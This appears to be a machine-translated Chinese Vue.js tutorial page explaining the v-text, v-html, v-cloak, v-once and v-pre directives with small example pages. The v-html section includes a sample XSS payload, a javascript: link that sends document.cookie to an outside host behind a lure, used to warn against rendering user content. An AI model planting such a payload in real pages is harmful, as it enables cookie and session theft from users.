当前位置:网站首页>Atguigu---15- built in instruction
Atguigu---15- built in instruction
2022-06-24 08:02:00 【Zhangshao】
v-text
v-text Instructions :
1. effect : Render the text content to the node where it resides .
2. Difference from interpolation Syntax :v-text Will replace the content in the node ,{ {xx}} Will not be .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- The instructions we learned : v-bind : One way binding parsing expression , It can be abbreviated as :xxx v-model : Two way data binding v-for : Traversal array / object / character string v-on : Binding event listening , It can be abbreviated as @ v-if : Conditions apply colours to a drawing ( Whether the dynamic control node exists ) v-else : Conditions apply colours to a drawing ( Whether the dynamic control node exists ) v-show : Conditions apply colours to a drawing ( Whether the dynamic control node displays ) v-text Instructions : 1. effect : Render the text content to the node where it resides . 2. Difference from interpolation Syntax :v-text Will replace the content in the node ,{
{xx}} Will not be . -->
<!-- Prepare a container -->
<div id="root">
<div> Hello ,{
{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
name:' Silicon Valley ', str:'<h3> How do you do !</h3>' } }) </script>
</html>
v-html
v-html Instructions :
1. effect : Render to the specified node html The content of the structure .
2. Difference from interpolation Syntax :
(1).v-html It will replace all the contents in the node ,{ {xx}} Will not be .
(2).v-html Can identify html structure .
3. Pay serious attention to :v-html There are security issues !!!!
(1). Dynamically render arbitrary on the site HTML It's very dangerous , Easily lead to XSS attack .
(2). Be sure to use... On trusted content v-html, Never use it on content submitted by users !
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- v-html Instructions : 1. effect : Render to the specified node html The content of the structure . 2. Difference from interpolation Syntax : (1).v-html It will replace all the contents in the node ,{
{xx}} Will not be . (2).v-html Can identify html structure . 3. Pay serious attention to :v-html There are security issues !!!! (1). Dynamically render arbitrary on the site HTML It's very dangerous , Easily lead to XSS attack . (2). Be sure to use... On trusted content v-html, Never use it on content submitted by users ! -->
<!-- Prepare a container -->
<div id="root">
<div> Hello ,{
{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
name:' Silicon Valley ', str:'<h3> How do you do !</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie> Brother, I found the resources you want , come quick !</a>', } }) </script>
</html>
v-cloak
v-cloak Instructions ( No value ):
1. Essence is a special attribute ,Vue After the instance is created and takes over the container , I'll delete v-cloak attribute .
2. Use css coordination v-cloak It can solve the problem that when the network speed is slow, the page shows { {xxx}} The problem of .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak Instructions </title>
<style> [v-cloak]{
display:none; } </style>
<!-- introduce Vue -->
</head>
<body>
<!-- v-cloak Instructions ( No value ): 1. Essence is a special attribute ,Vue After the instance is created and takes over the container , I'll delete v-cloak attribute . 2. Use css coordination v-cloak It can solve the problem that when the network speed is slow, the page shows {
{xxx}} The problem of . -->
<!-- Prepare a container -->
<div id="root">
<h2 v-cloak>{
{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript"> console.log(1) Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
name:' Silicon Valley ' } }) </script>
</html>
v-once
v-once Instructions :
1.v-once The node is after the first dynamic rendering , As static content .
2. Future data changes will not cause v-once Update of the structure , Can be used to optimize performance .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- v-once Instructions : 1.v-once The node is after the first dynamic rendering , As static content . 2. Future data changes will not cause v-once Update of the structure , Can be used to optimize performance . -->
<!-- Prepare a container -->
<div id="root">
<h2 v-once> The initialization of the n The value is :{
{n}}</h2>
<h2> Current n The value is :{
{n}}</h2>
<button @click="n++"> Am I n+1</button>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
n:1 } }) </script>
</html>
v-pre
v-pre Instructions :
1. Skip the compilation process of its node .
2. You can use it to skip : No instruction syntax is used 、 Nodes that do not use interpolation Syntax , Will speed up compilation .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- v-pre Instructions : 1. Skip the compilation process of its node . 2. You can use it to skip : No instruction syntax is used 、 Nodes that do not use interpolation Syntax , Will speed up compilation . -->
<!-- Prepare a container -->
<div id="root">
<h2 v-pre>Vue It's very simple </h2>
<h2 > Current n The value is :{
{n}}</h2>
<button @click="n++"> Am I n+1</button>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
n:1 } }) </script>
</html>
边栏推荐
- Moonwell Artemis现已上线Moonbeam Network
- Chapter 1 overview of canvas
- The two most frequently asked locks in the interview
- 基于Distiller的模型压缩工具简介
- Terminal network in VPN client connection settings of router
- Take my brother to make a real-time Leaderboard
- Leetcode exercise - jumping game, combination summation
- Free ICP domain name filing interface
- Thread support
- decltype用法介绍
猜你喜欢

Practice of opengauss database on CentOS, configuration

研究生英语期末考试复习

第 3 篇:绘制三角形

Examples of corpus data processing cases (reading multiple text files, reading multiple files specified under a folder, decoding errors, reading multiple subfolder text, batch renaming of multiple fil
![[nilm] non intrusive load decomposition module nilmtk installation tutorial](/img/d0/bc5ea1cbca9ee96a2fe168484ffec4.png)
[nilm] non intrusive load decomposition module nilmtk installation tutorial

宝塔面板安装php7.2安装phalcon3.3.2

Cloud development who is the source code of undercover applet

Graphmae ---- quick reading of papers

Oracle-高级SQL限定查询

面试中的最常被问到的两种锁
随机推荐
4-operation list (loop structure)
L1-019 who goes first (15 points)
Exness: Powell insisted on his anti inflation commitment and pointed out that recession is possible
decltype用法介绍
语料库数据处理个案实例(读取多个文本文件、读取一个文件夹下面指定的多个文件、解码错误、读取多个子文件夹文本、多个文件批量改名)
AWTK 最新动态:Grid 控件新用法
These dependencies were not found: * core JS / modules / es6 array. Fill in XXX
ImportError: cannot import name ‘process_ pdf‘ from ‘pdfminer. Pdfinterp 'error completely resolved
Ad-gcl:advantageous graph augmentation to improve graph contractual learning
Screenshot recommendation - snipaste
常见的数组封装
New features of PHP: bytecode cache and built-in server
Thread blocking
From jsonpath and XPath to spl
Oracle advanced SQL qualified query
保留一位小数和保留两位小数
GraphMAE----論文快速閱讀
GPU is not used when the code is running
热赛道上的冷思考:乘数效应才是东数西算的根本要求
慕思股份在深交所上市:毛利率持续下滑,2022年一季度营销失利